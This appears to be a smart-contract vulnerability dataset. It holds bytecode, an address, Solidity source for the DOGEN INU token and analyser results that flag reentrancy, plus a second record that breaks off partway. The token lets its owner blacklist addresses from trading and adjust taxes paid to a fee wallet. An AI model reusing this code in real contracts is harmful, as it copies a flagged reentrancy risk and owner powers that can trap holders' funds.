8116911614155b156111af57600854600c55600954600d555b6015546001600160a01b0384811691161480156111da57506014546001600160a01b03858116911614155b156111ec57600a54600c55600b54600d555b610a7984848484611479565b6000818484111561121c5760405162461bcd60e51b81526004016106309190611a2f565b5060006112298486611cd5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a1573d6000803e3d6000fd5b60006006548211156112d35760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610630565b60006112dd6114a7565b90506112e983826114ca565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133857611338611c76565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138c57600080fd5b505afa1580156113a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c49190611cec565b816001815181106113d7576113d7611c76565b6001600160a01b0392831660209182029290920101526014546113fd9130911684610b98565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611436908590600090869030904290600401611d09565b600060405180830381600087803b15801561145057600080fd5b505af1158015611464573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114865761148661150c565b61149184848461153a565b80610a7957610a79600e54600c55600f54600d55565b60008060006114b4611631565b90925090506114c382826114ca565b9250505090565b60006112e983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611671565b600c5415801561151c5750600d54155b1561152357565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154c8761169f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157e90876116fc565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ad908661173e565b6001600160a01b0389166000908152600260205260409020556115cf8161179d565b6115d984836117e7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161e91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164c82826114ca565b82101561166857505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116925760405162461bcd60e51b81526004016106309190611a2f565b5060006112298486611d7a565b60008060008060008060008060006116bc8a600c54600d5461180b565b92509250925060006116cc6114a7565b905060008060006116df8e878787611860565b919e509c509a509598509396509194505050505091939550919395565b60006112e983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f8565b60008061174b8385611cbd565b9050838110156112e95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610630565b60006117a76114a7565b905060006117b583836118b0565b306000908152600260205260409020549091506117d2908261173e565b30600090815260026020526040902055505050565b6006546117f490836116fc565b600655600754611804908261173e565b6007555050565b6000808080611825606461181f89896118b0565b906114ca565b90506000611838606461181f8a896118b0565b905060006118508261184a8b866116fc565b906116fc565b9992985090965090945050505050565b600080808061186f88866118b0565b9050600061187d88876118b0565b9050600061188b88886118b0565b9050600061189d8261184a86866116fc565b939b939a50919850919650505050505050565b6000826118bf575060006106b6565b60006118cb8385611d9c565b9050826118d88583611d7a565b146112e95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610630565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080057600080fd5b803561196581611945565b919050565b6000602080838503121561197d57600080fd5b823567ffffffffffffffff8082111561199557600080fd5b818501915085601f8301126119a957600080fd5b8135818111156119bb576119bb61192f565b8060051b604051601f19603f830116810181811085821117156119e0576119e061192f565b6040529182528482019250838101850191888311156119fe57600080fd5b938501935b82851015611a2357611a148561195a565b84529385019392850192611a03565b98975050505050505050565b600060208083528351808285015260005b81811015611a5c57858101830151858201604001528201611a40565b81811115611a6e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9757600080fd5b8235611aa281611945565b946020939093013593505050565b600080600060608486031215611ac557600080fd5b8335611ad081611945565b92506020840135611ae081611945565b929592945050506040919091013590565b600060208284031215611b0357600080fd5b81356112e981611945565b8035801515811461196557600080fd5b600060208284031215611b3057600080fd5b6112e982611b0e565b600060208284031215611b4b57600080fd5b5035919050565b60008060008060808587031215611b6857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9957600080fd5b833567ffffffffffffffff80821115611bb157600080fd5b818601915086601f830112611bc557600080fd5b813581811115611bd457600080fd5b8760208260051b8501011115611be957600080fd5b602092830195509350611bff9186019050611b0e565b90509250925092565b60008060408385031215611c1b57600080fd5b8235611c2681611945565b91506020830135611c3681611945565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb657611cb6611c8c565b5060010190565b60008219821115611cd057611cd0611c8c565b500190565b600082821015611ce757611ce7611c8c565b500390565b600060208284031215611cfe57600080fd5b81516112e981611945565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d595784516001600160a01b031683529383019391830191600101611d34565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9757634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db657611db6611c8c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a4cc76011a0a7defaaa12247476ef68a717002b75587436b4f189b6034d8ba9864736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,337
0x859c10dde1e33cdcc1c791c27885096455fd5dcb
// SPDX-License-Identifier: UNLICENSED /* ___ ___ | \ ___ / __| ___ _ _ | |) | / _ \ | (_ | / -_) | ' \ |___/ \___/ \___| \___| |_||_| _|"""""|_|"""""|_|"""""|_|"""""|_|"""""| "`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-'"`-0-0-' Telegram: https://t.me/dogeninu */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract DOGEN is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "DOGEN INU"; string private constant _symbol = "DOGENINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxHoldAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0x84bFe537AffEEB2a3b0e80a9EAf0C24502A1bDa8); _buyTax = 12; _sellTax = 12; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { uint walletBalance = balanceOf(address(to)); require(amount <= _maxTxAmount); require(amount.add(walletBalance) <= _maxHoldAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint burnAmount = contractTokenBalance/4; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { if (maxTxAmount > 100000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function _setMaxHoldAmount(uint256 maxHoldAmount) external onlyOwner() { if (maxHoldAmount > 200000000 * 10**9) { _maxHoldAmount = maxHoldAmount; } } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); } function openTrading() external onlyOwner() { _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; removeMaxTx = true; _maxTxAmount = 100000000 * 10**9; _maxHoldAmount = 200000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() public onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() public onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _setSellTax(uint256 sellTax) external onlyOwner() { if (sellTax < 13) { _sellTax = sellTax; } } function setBuyTax(uint256 buyTax) external onlyOwner() { if (buyTax < 13) { _buyTax = buyTax; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101395760003560e01c80638da5cb5b116100ab578063b515566a1161006f578063b515566a14610374578063c3c8cd8014610394578063c9567bf9146103a9578063dbe8272c146103be578063dc1052e2146103de578063dd62ed3e146103fe57600080fd5b80638da5cb5b146102c6578063953c4657146102ee57806395d89b411461030e5780639e78fb4f1461033f578063a9059cbb1461035457600080fd5b806323b872dd116100fd57806323b872dd14610220578063273123b714610240578063313ce567146102605780636fc3eaec1461027c57806370a0823114610291578063715018a6146102b157600080fd5b8063013206211461014557806306fdde0314610167578063095ea7b3146101ab57806318160ddd146101db5780631bbae6e01461020057600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50610165610160366004611748565b610444565b005b34801561017357600080fd5b50604080518082019091526009815268444f47454e20494e5560b81b60208201525b6040516101a29190611765565b60405180910390f35b3480156101b757600080fd5b506101cb6101c63660046117df565b610495565b60405190151581526020016101a2565b3480156101e757600080fd5b50678ac7230489e800005b6040519081526020016101a2565b34801561020c57600080fd5b5061016561021b36600461180b565b6104ac565b34801561022c57600080fd5b506101cb61023b366004611824565b6104ef565b34801561024c57600080fd5b5061016561025b366004611865565b610558565b34801561026c57600080fd5b50604051600981526020016101a2565b34801561028857600080fd5b506101656105a3565b34801561029d57600080fd5b506101f26102ac366004611865565b6105d7565b3480156102bd57600080fd5b506101656105f9565b3480156102d257600080fd5b506000546040516001600160a01b0390911681526020016101a2565b3480156102fa57600080fd5b5061016561030936600461180b565b61066d565b34801561031a57600080fd5b50604080518082019091526008815267444f47454e494e5560c01b6020820152610195565b34801561034b57600080fd5b506101656106ac565b34801561036057600080fd5b506101cb61036f3660046117df565b6108be565b34801561038057600080fd5b5061016561038f366004611898565b6108cb565b3480156103a057600080fd5b50610165610961565b3480156103b557600080fd5b506101656109a1565b3480156103ca57600080fd5b506101656103d936600461180b565b610b56565b3480156103ea57600080fd5b506101656103f936600461180b565b610b8e565b34801561040a57600080fd5b506101f261041936600461195d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146104775760405162461bcd60e51b815260040161046e90611996565b60405180910390fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b60006104a2338484610bc6565b5060015b92915050565b6000546001600160a01b031633146104d65760405162461bcd60e51b815260040161046e90611996565b67016345785d8a00008111156104ec5760108190555b50565b60006104fc848484610cea565b61054e843361054985604051806060016040528060288152602001611b5c602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061102d565b610bc6565b5060019392505050565b6000546001600160a01b031633146105825760405162461bcd60e51b815260040161046e90611996565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105cd5760405162461bcd60e51b815260040161046e90611996565b476104ec81611067565b6001600160a01b0381166000908152600260205260408120546104a6906110a1565b6000546001600160a01b031633146106235760405162461bcd60e51b815260040161046e90611996565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106975760405162461bcd60e51b815260040161046e90611996565b6702c68af0bb1400008111156104ec57601155565b6000546001600160a01b031633146106d65760405162461bcd60e51b815260040161046e90611996565b600f54600160a01b900460ff16156107305760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161046e565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b991906119cb565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610806573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061082a91906119cb565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610877573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061089b91906119cb565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006104a2338484610cea565b6000546001600160a01b031633146108f55760405162461bcd60e51b815260040161046e90611996565b60005b815181101561095d57600160066000848481518110610919576109196119e8565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061095581611a14565b9150506108f8565b5050565b6000546001600160a01b0316331461098b5760405162461bcd60e51b815260040161046e90611996565b6000610996306105d7565b90506104ec81611125565b6000546001600160a01b031633146109cb5760405162461bcd60e51b815260040161046e90611996565b600e546109eb9030906001600160a01b0316678ac7230489e80000610bc6565b600e546001600160a01b031663f305d7194730610a07816105d7565b600080610a1c6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a84573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aa99190611a2f565b5050600f805467016345785d8a00006010556702c68af0bb14000060115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b32573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ec9190611a5d565b6000546001600160a01b03163314610b805760405162461bcd60e51b815260040161046e90611996565b600d8110156104ec57600b55565b6000546001600160a01b03163314610bb85760405162461bcd60e51b815260040161046e90611996565b600d8110156104ec57600c55565b6001600160a01b038316610c285760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046e565b6001600160a01b038216610c895760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d4e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046e565b6001600160a01b038216610db05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046e565b60008111610e125760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046e565b6001600160a01b03831660009081526006602052604090205460ff1615610e3857600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e7a57506001600160a01b03821660009081526005602052604090205460ff16155b1561101d576000600955600c54600a55600f546001600160a01b038481169116148015610eb55750600e546001600160a01b03838116911614155b8015610eda57506001600160a01b03821660009081526005602052604090205460ff16155b8015610eef5750600f54600160b81b900460ff165b15610f2a576000610eff836105d7565b9050601054821115610f1057600080fd5b601154610f1d838361129f565b1115610f2857600080fd5b505b600f546001600160a01b038381169116148015610f555750600e546001600160a01b03848116911614155b8015610f7a57506001600160a01b03831660009081526005602052604090205460ff16155b15610f8b576000600955600b54600a555b6000610f96306105d7565b600f54909150600160a81b900460ff16158015610fc15750600f546001600160a01b03858116911614155b8015610fd65750600f54600160b01b900460ff165b1561101b576000610fe8600483611a7a565b9050610ff48183611a9c565b9150610fff816112fe565b61100882611125565b4780156110185761101847611067565b50505b505b611028838383611334565b505050565b600081848411156110515760405162461bcd60e51b815260040161046e9190611765565b50600061105e8486611a9c565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561095d573d6000803e3d6000fd5b60006007548211156111085760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161046e565b600061111261133f565b905061111e8382611362565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061116d5761116d6119e8565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ea91906119cb565b816001815181106111fd576111fd6119e8565b6001600160a01b039283166020918202929092010152600e546112239130911684610bc6565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061125c908590600090869030904290600401611ab3565b600060405180830381600087803b15801561127657600080fd5b505af115801561128a573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b6000806112ac8385611b24565b90508381101561111e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046e565b600f805460ff60a81b1916600160a81b1790558015611324576113243061dead83610cea565b50600f805460ff60a81b19169055565b6110288383836113a4565b600080600061134c61149b565b909250905061135b8282611362565b9250505090565b600061111e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114db565b6000806000806000806113b687611509565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113e89087611566565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611417908661129f565b6001600160a01b038916600090815260026020526040902055611439816115a8565b61144384836115f2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161148891815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006114b68282611362565b8210156114d257505060075492678ac7230489e8000092509050565b90939092509050565b600081836114fc5760405162461bcd60e51b815260040161046e9190611765565b50600061105e8486611a7a565b60008060008060008060008060006115268a600954600a54611616565b925092509250600061153661133f565b905060008060006115498e87878761166b565b919e509c509a509598509396509194505050505091939550919395565b600061111e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061102d565b60006115b261133f565b905060006115c083836116bb565b306000908152600260205260409020549091506115dd908261129f565b30600090815260026020526040902055505050565b6007546115ff9083611566565b60075560085461160f908261129f565b6008555050565b6000808080611630606461162a89896116bb565b90611362565b90506000611643606461162a8a896116bb565b9050600061165b826116558b86611566565b90611566565b9992985090965090945050505050565b600080808061167a88866116bb565b9050600061168888876116bb565b9050600061169688886116bb565b905060006116a8826116558686611566565b939b939a50919850919650505050505050565b6000826116ca575060006104a6565b60006116d68385611b3c565b9050826116e38583611a7a565b1461111e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046e565b80151581146104ec57600080fd5b60006020828403121561175a57600080fd5b813561111e8161173a565b600060208083528351808285015260005b8181101561179257858101830151858201604001528201611776565b818111156117a4576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104ec57600080fd5b80356117da816117ba565b919050565b600080604083850312156117f257600080fd5b82356117fd816117ba565b946020939093013593505050565b60006020828403121561181d57600080fd5b5035919050565b60008060006060848603121561183957600080fd5b8335611844816117ba565b92506020840135611854816117ba565b929592945050506040919091013590565b60006020828403121561187757600080fd5b813561111e816117ba565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156118ab57600080fd5b823567ffffffffffffffff808211156118c357600080fd5b818501915085601f8301126118d757600080fd5b8135818111156118e9576118e9611882565b8060051b604051601f19603f8301168101818110858211171561190e5761190e611882565b60405291825284820192508381018501918883111561192c57600080fd5b938501935b8285101561195157611942856117cf565b84529385019392850192611931565b98975050505050505050565b6000806040838503121561197057600080fd5b823561197b816117ba565b9150602083013561198b816117ba565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156119dd57600080fd5b815161111e816117ba565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611a2857611a286119fe565b5060010190565b600080600060608486031215611a4457600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a6f57600080fd5b815161111e8161173a565b600082611a9757634e487b7160e01b600052601260045260246000fd5b500490565b600082821015611aae57611aae6119fe565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b035784516001600160a01b031683529383019391830191600101611ade565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b3757611b376119fe565b500190565b6000816000190483118215151615611b5657611b566119fe565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206886dd3e320d31d3b4b43a0b76b5a09abde2f376aaca9eed95f672bbbba01cde64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,338
0xc94dba1c566197e5e239103d6ad2f78c1f36909c
//SPDX-License-Identifier: MIT pragma solidity ^0.7.4; /** * 888888ba dP dP .88888. * 88 `8b 88 88 d8' `88 * 88 88 88 .8P 88 * 88 88 88 d8' 88 YP88 * 88 .8P 88 .d8P Y8. .88 * 8888888P 888888' `88888' * * DAOventures * DeFi investments made simple. * Your personal robo-advisor and automated money manager * * Website: https://www.daoventures.co/ * * Public ICO: Uniswap & Polkstarter Listing Feburary 15th ~1PM UTC */ /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Wrappers over Solidity's arithmetic operations. * Only add / sub / mul / div are included */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * 